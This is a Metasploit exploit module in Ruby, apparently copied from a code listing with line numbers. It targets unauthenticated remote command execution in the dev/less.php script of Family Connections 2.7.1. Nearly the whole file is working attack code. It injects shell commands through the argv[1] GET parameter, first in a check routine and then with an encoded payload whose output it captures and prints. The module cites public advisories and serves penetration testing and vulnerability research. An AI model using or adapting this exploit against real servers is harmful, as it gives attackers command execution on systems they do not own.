|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info={})  super(update_info(info,  'Name' => 'Family Connections less.php Remote Command Execution',  'Description'=> %q{  This module exploits an arbitrary command execution vulnerability in  Family Connections 2.7.1. It's in the dev/less.php script and is due  to an insecure use of system().Authentication isn't required to exploit  the vulnerability but register_globals must be set to On.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit  'juan vazquez'# Metasploit module  ],  'References' =>  [  [ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],  [ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],  [ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],  [ 'URL', 'http://www.exploit-db.com/exploits/18198/' ]  ],  'Privileged' => false,  'Payload'=>  {  'Compat' =>  {  'PayloadType'=> 'cmd',  'RequiredCmd'=> 'generic telnet perl ruby',  }  },  'Platform' => ['unix', 'linux'],  'Arch' => ARCH_CMD,  'Targets'=> [['Automatic',{}]],  'DisclosureDate' => 'Nov 29 2011',  'DefaultTarget'=> 0  ))  register_options(  [  OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),  ],self.class)  end  def check  uri = datastore['URI']  uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"  mark = Rex::Text.rand_text_alpha(rand(5) + 5)  res = send_request_cgi({  'uri' => uri,  'vars_get'=> { 'argv[1]' => "|echo #{mark};#" }  }, 25)  if res and res.code == 200 and res.body =~ /#{mark}/  return Exploit::CheckCode::Vulnerable  end  return Exploit::CheckCode::Safe  end  def exploit  uri = datastore['URI']  uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"  start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)  end_mark= Rex::Text.rand_text_alpha(rand(5) + 5)  custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"  res = send_request_cgi({  'uri' => uri,  'vars_get'=> { 'argv[1]' => custom_payload }  }, 25)  if res and res.code == 200 and res.body =~ /#{start_mark}/  # Prints output when using cmd/unix/generic  result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]  if not result.strip.empty?  print_status("Result of the command:\n#{result}")  end  end  end end  |